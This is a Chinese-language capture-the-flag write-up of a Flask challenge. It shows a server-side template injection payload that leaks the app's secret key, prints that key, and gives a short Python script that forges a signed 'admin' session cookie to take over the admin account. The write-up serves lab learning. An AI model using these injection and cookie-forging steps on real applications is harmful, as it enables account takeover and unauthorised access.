打开题目,只有一个登录注册框,无法使用admin登录注册
在 /flag 页面中提示我们并不是管理员,猜测要得到管理员权限才可以Get Flag
在主页看到表单,先随意输入一些值进去,页面回显了Name of your event 的值
这里有可能存在xss或者SSTI,尝试后,无css,应该存在SSTI
抓包发现cookie,event_sesh_cookie应该是jwt加密过
大致猜测出本题应该是可以通过SSTI得到密钥伪造cookie,越权登录admin的账户
在提交数据的时候,有三个可控参数,经测试在event_important参数存在模版注入,输入__dict__,发现成功回显
接着查找配置文件:__class__.__init__.__globals__[app].config
得到的密钥为fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y
使用flask-session-cookie-manager脚本对cookie进行解密,解密得
{'_fresh': True, '_id':'8b6d6fd19fd9858e95e3f61d19e9c27b2aa6a90cd137be5835bfb650aaa1fcca9824642c9a6e98b3b60dd0a629bb50b19c83c251656db2531c8d2fe7a4501e36', 'user_id': '1'}
尝试修改user_id的值并不能实现越权,因此要关注另外一串cookie user
IjY2NjY2Ig.X3L06w.aL_kfz7lIbOLXUp83dWdQgOHKQY
但是我们不知道这个cookie的加密方式,不过已知密钥,即可伪造签名
构造exp
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/')
def index():
print(session_serializer.dumps("admin"))
index()
得ImFkbWluIg.X3L9vw.Vjo-AqvLZVgpr5ZM6DZ3GaN_zSo
然后将签名替换上去,即可成为admin用户,Get Flag